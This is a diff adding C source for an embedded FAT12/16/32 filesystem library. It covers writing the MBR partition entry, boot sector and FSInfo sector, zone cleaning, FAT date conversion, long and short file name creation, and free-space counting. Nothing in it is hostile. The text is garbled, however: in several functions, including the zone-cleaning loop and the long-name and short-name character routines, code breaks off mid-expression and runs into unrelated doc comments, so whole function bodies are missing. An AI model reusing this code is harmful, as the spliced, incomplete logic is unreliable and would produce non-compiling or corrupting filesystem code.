sector (2=next to MBR) and the cylinder (0) where the partition starts + //fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +3] = 0; + + // Write patition type + if( Is_fat32 ) + { // FAT 32 + u8_i = FS_PART_TYPE_FAT32; + } + if( Is_fat16 ) + { // FAT 16 + if( fs_s_u32_size_partition < (32L*1024*(1024/FS_512B)) ) + { // Disk < 32MB + u8_i = FS_PART_TYPE_FAT16_INF32M; + }else{ + u8_i = FS_PART_TYPE_FAT16_SUP32M; + } + } + if( Is_fat12 ) + { // FAT 12 + u8_i = FS_PART_TYPE_FAT12; + } + + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +4] = u8_i; + + // The head where the partitions ends + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +5] = (LSB1(fs_s_u32_size_partition)<<2) + (LSB0(fs_s_u32_size_partition)>>6); + // The sector and the cylinder where the partition ends + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +6] = (LSB1(fs_s_u32_size_partition)&0xC0) + (LSB0(fs_s_u32_size_partition)&0x3F); + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +7] = LSB2(fs_s_u32_size_partition); + + // Write partition position (in sectors) at offset 8 + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+ 8] = 0x01; + //fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+ 9] = 0x00; + //fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+10] = 0x00; + //fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+11] = 0x00; + // Write the number of sector in partition (= size - one sector MBR = last LBA, return by read_capacity) + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+12] = LSB0(fs_s_u32_size_partition); + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+13] = LSB1(fs_s_u32_size_partition); + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+14] = LSB2(fs_s_u32_size_partition); + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+15] = LSB3(fs_s_u32_size_partition); + + return true; +} + +//! \name Constante for fat_write_PBR() routine +_CONST_TYPE_ uint8_t const_header_pbr[] = { + 0xEB,0,0x90, // offset 00-02, Add jump boot flag + 'M','S','W','I','N','4','.','1', // offset 03-11, No add OEM name + FS_512B & 0xFF, FS_512B >>8, // offset 11-12, Add byte per sector + 0, // offset 13-13, Add sector by cluster + 0,0, // offset 14-15, Add Number of reserved sector (see next step for optimization test) + 2, // offset 16-16, Add Number of FAT + 0,0, // offset 17-18, Add Number of root entry (FAT32 = 0 entry, FAT16 = 512 entrys) + 0,0, + FS_PART_NO_REMOVE_MEDIA, // offset 21-21, Media byte + 0,0, + 0x3F,0, // offset 24-25, Sector per track (must be egal to MBR information, also maximum sector per head = 0x3F = 6bits) + 0,0, // offset 26-27, Number of header + 1 // offset 28-31, Number of hidden setors + }; +_CONST_TYPE_ uint8_t const_tail_pbr[] = { // offset 36 on FAT 16, offset 64 on FAT 32 + FS_PART_HARD_DISK, // Driver number + 0, // Reserved (used by Windows NT) + FS_BOOT_SIGN, // Extended boot signature + 0,0,0,0, // volume ID + 'N','O',' ','N','A','M','E',' ',' ',' ',' ', // volume label (11 characters); + 'F','A','T',' ',' ',' ',' ',' ', // FAT type in ASCII (8 characters); + }; + + +//! \name Constante of "FAT32 FSInfo Sector" +//! @{ +_CONST_TYPE_ uint8_t const_FSI_LeadSig[] = { + 0x52,0x52,0x61,0x41 //! offset 00-04, This lead signature +}; +_CONST_TYPE_ uint8_t const_FSI_StrucSig[] = { + 0x72,0x72,0x41,0x61 //! offset 484-487, signature +}; +//! @} + + +//! This function writes the PBR +//! +//! @param b_MBR true, include a MBR on disk +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_write_PBR( Bool b_MBR ) +{ + uint16_t u16_tmp; + + //** Init the cache sector with PBR + if( b_MBR ) + fs_gu32_addrsector = 1; + else + fs_gu32_addrsector = 0; + + if( !fat_cache_read_sector( false )) + return false; + fat_cache_mark_sector_as_dirty(); + fat_cache_clear(); + + //** WRITE CONSTANTE & VARIABLE FOR FAT and FAT32 + memcpy_code2ram( fs_g_sector, const_header_pbr , sizeof(const_header_pbr) ); + // PBR signature + fs_g_sector[510] = FS_BR_SIGNATURE_LOW; + fs_g_sector[511] = FS_BR_SIGNATURE_HIGH; + + // offset 13-13, Add sector by cluster + fs_g_sector[13] = fs_g_nav.u8_BPB_SecPerClus; + // offset 26-27, Number of header + fs_g_sector[26] = (LSB1(fs_s_u32_size_partition)<<2) + (LSB0(fs_s_u32_size_partition)>>6); + + //** WRITE CONSTANTE & VARIABLE DEPENDING OF FAT16 and FAT32 + // Since offset 36, there are a different structure space for FAT16 and FAT32 + // offset 39-42 or 67-70, Volume ID not used + // offset 43-53 or 71-81, Volume Label + // offset 54-61 or 82-89, File system type + if( Is_fat32 ) + { + memcpy_code2ram( &fs_g_sector[64], const_tail_pbr, sizeof(const_tail_pbr) ); + }else{ + memcpy_code2ram( &fs_g_sector[36], const_tail_pbr, sizeof(const_tail_pbr) ); + } + + u16_tmp = (uint16_t)fs_g_nav.u32_fat_size; // save value in fast data space to optimize code + if( Is_fat32 ) + { + // offset 14-15, Add Number of reserved sector, FAT32 = 32 sectors + fs_g_sector[14] = 32; + // offset 17-18, Add Number of root entry, FAT32 = 0 entry + // offset 36-39, Fat size 32bits + LOW0_32_BPB_FATSz32 = LSB(u16_tmp); + LOW1_32_BPB_FATSz32 = MSB(u16_tmp); + // offset 40-41, Ext flags (all FAT are enabled = 0) + // offset 42-43, Fs version (version0:0 = 0) + // offset 44-47, Root Cluster (first free cluster = 2) + fs_g_sector[44]= 2; + // offset 48-49, Fs Info (usualy 1) + fs_g_sector[48]= 1; + // offset 50-51, Backup Boot Sector (usualy 6) + // fs_g_sector[50]= 0; + // offset 52-63, reserved space + // offset 54-61, File system type + fs_g_sector[85]='3'; + fs_g_sector[86]='2'; + // Update FSInfo position + fs_g_nav.u16_offset_FSInfo = (32-1); + } + else + { + // FAT 12 or 16 + // offset 14-15, Add Number of reserved sector, FAT = 1 sector + fs_g_sector[14] = 1; + // offset 17-18, Add Number of root entry, FAT = 512 entrys + //fs_g_sector[17] = 512&0xFF; + fs_g_sector[18] = 512>>8; + + // offset 22-23, Fat size 16bits + LOW_16_BPB_FATSz16 = LSB(u16_tmp); + HIGH_16_BPB_FATSz16 = MSB(u16_tmp); + // offset 54-61, File system type + fs_g_sector[57]='1'; + if( Is_fat12 ) + { + fs_g_sector[58]='2'; + }else{ + fs_g_sector[58]='6'; + } + } + + // Write the number of sector in partition (= size - one sector MBR = last LBA, return by read_capacity) + if( ( Is_fat32 ) + || ((0x10000-1) <= fs_s_u32_size_partition) ) + { + // FAT32 or disk > 32MB + // offset 32-35, Number of sector in partition (value 32 bits) + fs_g_sector[32] = LSB0(fs_s_u32_size_partition); + fs_g_sector[33] = LSB1(fs_s_u32_size_partition); + fs_g_sector[34] = LSB2(fs_s_u32_size_partition); + fs_g_sector[35] = LSB3(fs_s_u32_size_partition); + } + else + { + // offset 19-20, Number of sector in partition (value 16 bits) + fs_g_sector[19] = LSB0(fs_s_u32_size_partition); + fs_g_sector[20] = LSB1(fs_s_u32_size_partition); + } + + if( Is_fat32 ) + { + // Init the FAT32 FSInfo Sector + if( !fat_write_fat32_FSInfo( 0xFFFFFFFF )) + return false; + } + return true; +} +//! @} + +#ifdef FS_FAT_32 +//! This function writes the space free number in selected FAT32 partition +//! +//! Read global value "fs_g_status" in case of error : +//! FS_ERR_HW Hardware driver error +//! FS_ERR_HW_NO_PRESENT Device not present +//! FS_LUN_WP Drive is read only +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_write_fat32_FSInfo( uint32_t u32_nb_free_cluster ) +{ + // Init sector + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat - fs_g_nav.u16_offset_FSInfo; + + if( !fat_cache_read_sector( false )) + return false; + fat_cache_mark_sector_as_dirty(); + fat_cache_clear(); + + // Fill sector + // offset 00-04, This lead signature + memcpy_code2ram( &fs_g_sector[0], const_FSI_LeadSig, sizeof(const_FSI_LeadSig) ); + // offset 004-483, reserved (fill with 0) + // offset 484-487, signature + memcpy_code2ram( &fs_g_sector[484], const_FSI_StrucSig, sizeof(const_FSI_StrucSig) ); + // offset 488-491, free cluster count (by default NO value) + fs_g_sector[488] = LSB0(u32_nb_free_cluster); + fs_g_sector[489] = LSB1(u32_nb_free_cluster); + fs_g_sector[490] = LSB2(u32_nb_free_cluster); + fs_g_sector[491] = LSB3(u32_nb_free_cluster); + // offset 492-495, indicates the cluster number at which the driver should start looking for free clusters (by default NO value) + memset( &fs_g_sector[492] , 0xFF , 4 ); + // offset 496-509, reserved (fill with 0) + // offset 510-511, Signature + fs_g_sector[510] = FS_BR_SIGNATURE_LOW; + fs_g_sector[511] = FS_BR_SIGNATURE_HIGH; + return true; +} + + +//! This function returns the space free in the selected FAT32 partition +//! +//! @return the number of sector free (if 0xFFFFFFFF, then no value available in FSInfo Sector) +//! +uint32_t fat_read_fat32_FSInfo( void ) +{ + uint32_t u32_nb_free_cluster; + + // Read FAT32 FSInfo Sector + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat - fs_g_nav.u16_offset_FSInfo; + if( !fat_cache_read_sector( true )) + return 0xFFFFFFFF; + + //* Check signature + // offset 510-511, Signature + if( fs_g_sector[510] != FS_BR_SIGNATURE_LOW ) + return 0xFFFFFFFF; + if( fs_g_sector[511] != FS_BR_SIGNATURE_HIGH) + return 0xFFFFFFFF; + // offset 00-04, This lead signature + if( 0 != memcmp_code2ram( &fs_g_sector[0], const_FSI_LeadSig, sizeof(const_FSI_LeadSig) )) + return 0xFFFFFFFF; + // offset 004-483, reserved (fill with 0) + // offset 484-487, signature + if( 0 != memcmp_code2ram( &fs_g_sector[484], const_FSI_StrucSig, sizeof(const_FSI_StrucSig)) ) + return 0xFFFFFFFF; + + //* Read value + // offset 488-491, free cluster count + LSB0(u32_nb_free_cluster) = fs_g_sector[488]; + LSB1(u32_nb_free_cluster) = fs_g_sector[489]; + LSB2(u32_nb_free_cluster) = fs_g_sector[490]; + LSB3(u32_nb_free_cluster) = fs_g_sector[491]; + return u32_nb_free_cluster; +} +#endif // FS_FAT_32 + + +//! This function cleans the reserved zone, FAT zone, and root dir zone +//! +//! @param b_MBR true, include a MBR on disk +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_clean_zone( Bool b_MBR ) +{ + uint16_t u16_nb_sector_clean, u16_i; + _MEM_TYPE_SLOW_ uint8_t *ptr; + + // Flush the internal cache before clear the cache + if( !fat_cache_flush()) + return false; + fat_cache_clear(); + + // remark: these zones are stored after the PBR and are continues + // Start after PBR + if( b_MBR ) + { + fs_gu32_addrsector = 2; // Jump MBR and PBR + }else{ + fs_gu32_addrsector = 1; // Jump only a PBR (no MBR create) + } + + // Compute reserved zone size and root size + if( Is_fat32 ) + { // FAT 32 + fs_gu32_addrsector++; // Jump FAT32 FSInfo Sector + // root size = cluster size AND reserved zone = 32 - 2 (2 = PBR + FSInfo) + u16_nb_sector_clean = fs_g_nav.u8_BPB_SecPerClus + 30; + } + else + { // FAT 12 or 16 + // root size = 512 entrys = 32 sectors AND reserved zone = 1 - 1(PBR) + u16_nb_sector_clean = 32; + } + u16_nb_sector_clean += ((uint16_t)fs_g_nav.u32_fat_size*2); // Add FAT size + + // loop to clean + for( ; u16_nb_sector_clean!=0; u16_nb_sector_clean-- ) + { + // To improve the format time + // We check if the sector is clean (0x00) instead of write a clean sector. + if( !fat_cache_read_sector( true )) + return false; + ptr = fs_g_sector; + for( u16_i=0; u16_i+//! storage format (ASCII) = "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! +void fat_get_date( FS_STRING sz_date , Bool type_date ) +{ + PTR_CACHE ptr_entry; + + ptr_entry = fat_get_ptr_entry(); + if( FS_DATE_LAST_WRITE == type_date ) + { + fat_translatedate_number_to_ascii( sz_date , &ptr_entry[22] , false ); + } + else + { + fat_translatedate_number_to_ascii( sz_date , &ptr_entry[13] , true ); + } +} + + +//! This function translates a date FAT value to ascii string +//! +//! @param sz_date table to store the date information
+//! storage format (ASCII) = "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! @param ptr_date pointer on date in internal cache +//! @param enable_ms true, translate the millisecond field +//! +void fat_translatedate_number_to_ascii( FS_STRING sz_date , PTR_CACHE ptr_date , Bool enable_ms ) +{ + FS_STRING ptr_string_date; + uint8_t u8_i; + uint8_t msb_date, lsb_date, msb_time, lsb_time, u8_ms = 0; + + // Read entry value of date and time + if( enable_ms ) + { + u8_ms = *ptr_date; + ptr_date++; + } + lsb_time = *ptr_date; + ptr_date++; + msb_time = *ptr_date; + ptr_date++; + lsb_date = *ptr_date; + ptr_date++; + msb_date = *ptr_date; + + // Initialise the string with "1980000000000000" (Year = 1980 and other at 0) + ptr_string_date = sz_date; + *ptr_string_date = '1'; + ptr_string_date++; + *ptr_string_date = '9'; + ptr_string_date++; + *ptr_string_date = '8'; + ptr_string_date++; + for( u8_i=(15-2) ; u8_i!=0 ; u8_i-- ) + { + *ptr_string_date = '0'; + ptr_string_date++; + } + + // Get the year + fat_translate_number_to_ascii( sz_date, 4 , msb_date>>1 ); + + // Get the month + fat_translate_number_to_ascii( &sz_date[4] , 2 , ((msb_date & 0x01)<<3) + (lsb_date>>5) ); + + // Get the day + fat_translate_number_to_ascii( &sz_date[6] , 2 , lsb_date & 0x1F ); + + // Get the hour + fat_translate_number_to_ascii( &sz_date[8] , 2 , msb_time >> (11-8) ); + + // Get the minute + fat_translate_number_to_ascii( &sz_date[10] , 2 , ((msb_time & 0x07)<<3) + (lsb_time>>5) ); + + // Get the seconde + fat_translate_number_to_ascii( &sz_date[12] , 2 , (lsb_time & 0x1F)<<1 ); + if( 99 < u8_ms ) + { + // Add one seconde + fat_translate_number_to_ascii( &sz_date[12] , 2 , 1 ); + u8_ms -= 100; + } + + // Get the miliseconde + fat_translate_number_to_ascii( &sz_date[14] , 2 , u8_ms ); +} + + +//! This function translates a digital number to a ASCII number +//! +//! @param sz_ascii_number ascii string to increment (ex:"1907") +//! @param u8_size_number_ascii number of digit (ex:4) +//! @param u8_nb_increment number to add (ex:"102") +//! +//! @verbatim +//! OUT, Update sz_ascii_number (ex:"2009") +//! @endverbatim +//! +void fat_translate_number_to_ascii( FS_STRING sz_ascii_number, uint8_t u8_size_number_ascii, uint8_t u8_nb_increment ) +{ + FS_STRING ptr_sz_ascii_number; + + u8_size_number_ascii--; + + for( ; u8_nb_increment != 0 ; u8_nb_increment-- ) + { + ptr_sz_ascii_number = sz_ascii_number + u8_size_number_ascii; + ptr_sz_ascii_number[0]++; + while( ('9'+1) == *ptr_sz_ascii_number ) + { + *ptr_sz_ascii_number = '0'; + ptr_sz_ascii_number--; + ptr_sz_ascii_number[0]++; + } + } +} + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) +//! This function changes the date information +//! +//! @param type_date choose date field (FS_DATE_LAST_WRITE or FS_DATE_CREATION) +//! @param sz_date table with date information
+//! storage format (ASCII) = "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! +//! @verbatim +//! OUT, update cache sector with the new date +//! @endverbatim +//! +void fat_set_date( const FS_STRING sz_date , Bool type_date ) +{ + PTR_CACHE ptr_entry; + + fat_cache_mark_sector_as_dirty(); + ptr_entry = fat_get_ptr_entry(); + + if( FS_DATE_LAST_WRITE == type_date ) + { + fat_translatedate_ascii_to_number( sz_date , &ptr_entry[22] , false ); + } + else + { + fat_translatedate_ascii_to_number( sz_date , &ptr_entry[13] , true ); + } +} + + +//! This function translates a date ascii string to date FAT value +//! +//! @param sz_date table with date information
+//! storage format (ASCII) = "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! @param ptr_date pointer on date in internal cache +//! @param enable_ms true, translate the millisecond field +//! +//! @verbatim +//! OUT, write the date field at ptr_date +//! @endverbatim +//! +void fat_translatedate_ascii_to_number( const FS_STRING sz_date , PTR_CACHE ptr_date , Bool enable_ms ) +{ + uint8_t u8_tmp; + uint8_t msb_date, lsb_date, msb_time, lsb_time; + + // Set the year + msb_date = ((uint8_t)(fat_translate_ascii_to_number( sz_date , 4 )-1980))<<1; + + // Set the month + u8_tmp = (uint8_t)fat_translate_ascii_to_number( &sz_date[4] , 2 ); + msb_date |= (u8_tmp >> 3); + lsb_date = (u8_tmp << 5); + + // Set the day + lsb_date |= (uint8_t)fat_translate_ascii_to_number( &sz_date[6] , 2 ); + + // Set the hour + msb_time = ((uint8_t)fat_translate_ascii_to_number( &sz_date[8] , 2 )) << (11-8); + + // Set the minute + u8_tmp = (uint8_t)fat_translate_ascii_to_number( &sz_date[10] , 2 ); + msb_time |= (u8_tmp >> 3); + lsb_time = (u8_tmp << 5); + + // Set the seconde + u8_tmp = (uint8_t)fat_translate_ascii_to_number( &sz_date[12] , 2 ); + lsb_time |= (u8_tmp >> 1); + + // Set the miliseconde + if( enable_ms ) + { + // check if the seconde time is %2 + if( u8_tmp & 0x01 ) + { // it isn't %2 + u8_tmp = 100; // add one seconde + } + else + { + u8_tmp = 0; // no more seconde + } + *ptr_date = u8_tmp + (uint8_t)fat_translate_ascii_to_number( &sz_date[14] , 2 ); + ptr_date++; + } + + // Record value + ptr_date[0] = lsb_time; + ptr_date[1] = msb_time; + ptr_date[2] = lsb_date; + ptr_date[3] = msb_date; +} + + +//! This function translates a ASCII number to a digital number +//! +//! @param sz_ascii_number ascii number (ex:"1907") +//! @param u8_size_number_ascii number of digit (ex:4) +//! +//! @return the digital number +//! +//! @verbatim +//! OUT, update sz_ascii_number +//! @endverbatim +//! +uint16_t fat_translate_ascii_to_number( const FS_STRING sz_ascii_number, uint8_t u8_size_number_ascii ) +{ + uint8_t sz_ascii_number_copy[4]; + uint8_t _MEM_TYPE_FAST_ *ptr_sz_ascii_number; + uint8_t u8_i; + uint16_t u16_number; + + for( u8_i=0; u8_i < u8_size_number_ascii; u8_i++ ) + { + sz_ascii_number_copy[u8_i] = sz_ascii_number[u8_i]; + } + + u16_number=0; + + while( 1 ) + { + // Check if it is the end of ascii number (= "0...0") + ptr_sz_ascii_number = sz_ascii_number_copy; + for( u8_i = u8_size_number_ascii; u8_i !=0; u8_i-- ) + { + if( '0' != *ptr_sz_ascii_number ) + { + break; + } + ptr_sz_ascii_number++; + } + if( 0 == u8_i) + return u16_number; + + // Decrement the number + ptr_sz_ascii_number = sz_ascii_number_copy + u8_size_number_ascii -1; + u16_number++; + ptr_sz_ascii_number[0]--; + while( ('0'-1) == ptr_sz_ascii_number[0] ) + { + *ptr_sz_ascii_number = '9'; + ptr_sz_ascii_number--; + ptr_sz_ascii_number[0]--; + } + } +} +#endif // FS_LEVEL_FEATURES + + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function creates the short and the long name of a new entry +//! +//! @param sz_name name to create (ASCII or UNICODE) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! IN: +//! b_unicode is a global flag to select UNICODE or ASCII +//! The name must be terminated by NULL and it can't have two dot characters. +//! @endverbatim +//! +Bool fat_create_entry_file_name( FS_STRING sz_name ) +{ + uint8_t u8_i, u8_nb; + uint8_t u8_crc, u8_nb_entry; + + // Compute the number of entry for this name + u8_nb_entry = fat_check_name( sz_name ); + if( 0 == u8_nb_entry ) + return false; + + // Search a unik short entry + u8_nb = fat_find_short_entry_name( sz_name ); + if( 0 == u8_nb ) + { + fs_g_status = FS_ERR_FILE_EXIST; + return false; // All short name exist + } + + // Alloc a space for entrys + if( !fat_alloc_entry_free( u8_nb_entry )) + return false; + // Remark: here the pointer of entry is on the last free entry of new space allocated + + // Add short name entry + u8_crc = fat_create_short_entry_name( sz_name , 0 , u8_nb, false ); + u8_nb_entry--; + + // For each long name entry + for( u8_i=1 ; u8_i<=u8_nb_entry ; u8_i++ ) + { + // Go to previous entry + fs_g_nav_fast.u16_entry_pos_sel_file--; + if( !fat_read_dir()) + return false; + // Write a long name entry + if( u8_i == u8_nb_entry ) + { + u8_i += FS_ENTRY_LFN_LAST; + } + fat_create_long_name_entry( sz_name , u8_crc , u8_i ); + sz_name += FS_SIZE_LFN_ENTRY*(Is_unicode? 2 : 1 ); + } + // Go back to the short name entry + fs_g_nav_fast.u16_entry_pos_sel_file += u8_nb_entry; + return true; +} + + +//! This function creates a long name entry +//! +//! @param sz_name name to create (ASCII or UNICODE) +//! @param u8_crc crc corresponding at short name +//! @param u8_id long entry number (1 to n + FS_ENTRY_LFN_LAST) +//! +//! @verbatim +//! OUT: Update the entry in internal cache sector with a new long name entry +//! @endverbatim +//! +void fat_create_long_name_entry( FS_STRING sz_name , uint8_t u8_crc , uint8_t u8_id ) +{ + PTR_CACHE ptr_entry; + Bool b_end_of_name = false; + + fat_cache_mark_sector_as_dirty(); + ptr_entry = fat_get_ptr_entry(); + *ptr_entry = u8_id; + ptr_entry++; // The long name start at offset 1 of the entry file + + for( u8_id=1; u8_id+//! false to write in internal cache +//! +//! @return short name CRC +//! +uint8_t fat_create_short_entry_name( FS_STRING sz_name , FS_STRING short_name , uint8_t nb , Bool mode ) +{ + PTR_CACHE ptr_entry = 0; + uint8_t u8_i, u8_step, character; + uint8_t crc; + uint8_t nb_digit; + + if( !mode ) + { + // Modify internal cache to create short name entry in the current entry + fat_cache_mark_sector_as_dirty(); + // Get pointer on current entry + ptr_entry = fat_get_ptr_entry(); + } + + // Compute the digit number + if( nb < 10 ) nb_digit = 1; + else if( nb < 100 ) nb_digit = 2; + else nb_digit = 3; + + crc = u8_i = 0; + u8_step = 1; + while( 1 ) + { + if( Is_unicode ) + { + character = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + character = sz_name[0]; + } + + if( 1 == u8_step ) + { // step 1 = translate the name + if( ((FS_SIZE_SFNAME_WITHOUT_EXT-(1+nb_digit)) == u8_i) // name field is full (-2 for "~1") + || ('.' == character) // is the end of name without extension + || fat_check_eof_name(character) ) // is the end of name + { + u8_step++; // go to next step + continue; + } + } + if( 8 == u8_step ) + { // step 8 = translate the extension + if( (u8_i == FS_SIZE_SFNAME) // name field is full + || fat_check_eof_name(character) ) // is the end of name + { + u8_step++; // go to next step + continue; + } + } + if( (1==u8_step) || (8==u8_step) ) + { // steps to translate name + character = fat_translate_char_shortname( character ); + sz_name += (Is_unicode? 2 : 1 ); + if( 0 == character ) + { + continue; // Bad character, ignore this one + } + } + if( 7 == u8_step ) + { // step 5 = find character '.' + if( ('.' == character) // is the end of name without extension + || fat_check_eof_name(character) ) // is the end of name + { + u8_step++; // go to next step + } else { + sz_name += (Is_unicode? 2 : 1 ); + } + continue; // this step don't add a character in the short name + } + if( 6 == u8_step ) + { // step 4 = add padding + if( u8_i == FS_SIZE_SFNAME_WITHOUT_EXT ) // end of field name without extension + { + u8_step++; // go to next step + continue; + } + character = ' '; + } + if( 9 == u8_step ) + { // step 7 = add padding in extension name + if( u8_i == FS_SIZE_SFNAME ) // end of field name with extension + { + break; // end of loop while(1) + } + character = ' '; + } + if( 5 == u8_step ) + { // step 4 = add unit 1 of number + character = '0'+(nb%10); + u8_step++; // go to next step + } + if( 4 == u8_step ) + { // step 3 = add unit 10 of number + character = '0'+((nb%100)/10); + u8_step++; // go to next step + } + if( 3 == u8_step ) + { // step 2 = add unit 100 of number + character = '0'+(nb/100); + u8_step++; // go to next step + } + if( 2 == u8_step ) + { // step 2 = add character '~' + character = '~'; + u8_step+=(4-nb_digit); // go to next step + } + + if( mode ) + { + // Record the short name in buffer + *short_name = character; + short_name++; + }else{ + // Record the character in short entry file + *ptr_entry = character; + ptr_entry++; + } + u8_i++; + + // Compute the CRC of the short name + crc = (crc >> 1) + ((crc & 1) << 7); // rotate + crc += character; // add next char + } // End of loop while + return crc; +} + + +//! This function searchs an unique short name +//! +//! @param sz_name original name +//! +//! @return the number used to create the short name +//! @return 0 in case of error +//! +uint8_t fat_find_short_entry_name( FS_STRING sz_name ) +{ + char _MEM_TYPE_SLOW_ short_name[11]; + uint8_t u8_nb; + + u8_nb = 0; + while(1) + { + if( 0xFF == u8_nb ) + return 0; // All short name exist + + u8_nb++; // Try next short name + fat_create_short_entry_name( sz_name , short_name , u8_nb , true ); // Compute the short name + fs_g_nav_fast.u16_entry_pos_sel_file = 0; // Go to beginning of directory + // Scan directory to find a short entry + while(1) + { + if ( !fat_read_dir()) // Read directory + { + if( FS_ERR_OUT_LIST == fs_g_status ) + return u8_nb; // short name don't exist, then good number + return 0; // System or Disk Error + } + if( fat_entry_shortname_compare( short_name ) ) // Check entry + break; // Short name exist + if( FS_ERR_ENTRY_EMPTY == fs_g_status ) + return u8_nb; // Short name don't exist, then good number + fs_g_nav_fast.u16_entry_pos_sel_file++; // Go to next entry + } + } +} + + +//! This function compares a short name with the current entry +//! +//! @param short_name short name to compare (format entry = 8+3 Bytes) +//! +//! @return true it is the same +//! @return false in case of error, see global value "fs_g_status" for more detail +//! +Bool fat_entry_shortname_compare( FS_STRING short_name ) +{ + PTR_CACHE ptr_entry; + + ptr_entry = fat_get_ptr_entry(); + if( FS_ENTRY_END == *ptr_entry ) // end of directory + { + fs_g_status = FS_ERR_ENTRY_EMPTY; + return false; + } + if( (FS_ENTRY_DEL == *ptr_entry ) // deleted entry + || (FS_ATTR_LFN_ENTRY == ptr_entry[11]) ) // long file name + { + fs_g_status = FS_ERR_ENTRY_BAD; + return false; + } + fs_g_status = FS_ERR_ENTRY_BAD; // by default this entry is different then bad + return (0==memcmp_ram2ram(ptr_entry , short_name , 8+3 )); +} + +//! Characters table no supported in a file name +_CONST_TYPE_ uint8_t fs_s_tab_incorrect_char[]={':','*','?','"','<','>','|'}; + +//! This function checks the character in name AND computes the number of entry file to store the name +//! +//! @param sz_name original name to create +//! +//! @return number of entry file to strore the name (short + long name)
+//! if name incorrect then 0 is returned. +//! +uint8_t fat_check_name( FS_STRING sz_name ) +{ + uint8_t u8_nb_entry, u8_i, u8_j; + uint16_t u16_character; + + u8_nb_entry = 2; // a short entry + one long name entry minimum + u8_i = FS_SIZE_LFN_ENTRY; + while( 1 ) + { + if( Is_unicode ) + { + u16_character = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + u16_character = sz_name[0]; + } + if( fat_check_eof_name( u16_character ) ) + break; + + for( u8_j = 0 ; u8_j < sizeof(fs_s_tab_incorrect_char) ; u8_j++ ) + { + if( u16_character == fs_s_tab_incorrect_char[u8_j] ) + { + fs_g_status = FS_ERR_INCORRECT_NAME; + return 0; // incorrect character + } + } + if( 0 == u8_i ) + { + u8_nb_entry++; + u8_i = FS_SIZE_LFN_ENTRY; + } + u8_i--; + sz_name += (Is_unicode? 2 : 1 ); + } + if( 0x14 < u8_nb_entry ) + { + fs_g_status = FS_ERR_NAME_TOO_LARGE; + return 0; // Name too large + } + return u8_nb_entry; +} + + +//! Characters table no supported in a short name +_CONST_TYPE_ uint8_t fs_s_execption_char[]={'+',',','.',';','=','[',']'}; + +//! This function translates the character to authorized short name character +//! +//! @param character character to translate +//! +//! @return character translated
+//! if no supported then 0 +//! +uint8_t fat_translate_char_shortname( uint8_t character ) +{ + uint8_t u8_j; + + if( (character<=' ') || ('~'+//! if 0, then error or full +//! +uint32_t fat_getfreespace( void ) +{ + uint32_t u32_nb_free_cluster = 0; + + // Read ALL FAT1 + fs_g_cluster.u32_pos = 2; + + if( Is_fat12 ) + { // FAT12 only + for( + ; fs_g_cluster.u32_pos < fs_g_nav.u32_CountofCluster + ; fs_g_cluster.u32_pos++ ) + { + // Get the value of the cluster + if ( !fat_cluster_val( FS_CLUST_VAL_READ ) ) + return 0; + + if ( 0 == fs_g_cluster.u32_val ) + u32_nb_free_cluster++; + } + } + else + { + if( Is_fat32 ) + { + u32_nb_free_cluster = fat_read_fat32_FSInfo(); + if( 0xFFFFFFFF != u32_nb_free_cluster ) + goto endof_fat_getfreespace; + u32_nb_free_cluster = 0; + } + // Speed optimization only for FAT16 and FAT32 + // init first value used by fat_cluster_readnext() + if( !fat_cluster_val( FS_CLUST_VAL_READ )) + return false; + for( + ; fs_g_cluster.u32_pos < fs_g_nav.u32_CountofCluster + ; fs_g_cluster.u32_pos++ ) + { + if ( 0 == fs_g_cluster.u32_val ) + u32_nb_free_cluster++; + if( !fat_cluster_readnext() ) + return false; + } +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET) ) + if( Is_fat32 ) + { + // Save value for the future call + fat_write_fat32_FSInfo( u32_nb_free_cluster ); + } +#endif + } +endof_fat_getfreespace: + return (u32_nb_free_cluster * fs_g_nav.u8_BPB_SecPerClus); +} + + +//! This function returns the space free in percent +//! +//! @return percent of free space (1 to 100) +//! if 0, then error or full +//! +//! @verbatim +//! More speed than fat_getfreespace() routine but error delta 1% +//! @endverbatim +//! +uint8_t fat_getfreespace_percent( void ) +{ + uint32_t u32_nb_free_cluster = 0; + uint16_t u16_pos; + uint32_t u32_tmp; + + if( Is_fat12 ) + { // No speed optimization necessary on FAT12 + return (((fat_getfreespace()/fs_g_nav.u8_BPB_SecPerClus)*100) / fs_g_nav.u32_CountofCluster); + } + + + fs_g_cluster.u32_pos = 2; + // Init first value used by fat_cluster_readnext() + if( !fat_cluster_val( FS_CLUST_VAL_READ )) + return false; + + // The optimization is to + // - read only the LSB byte of cluster + // - read only 1 cluster for 2 clusters + if( Is_fat32 ) + { + 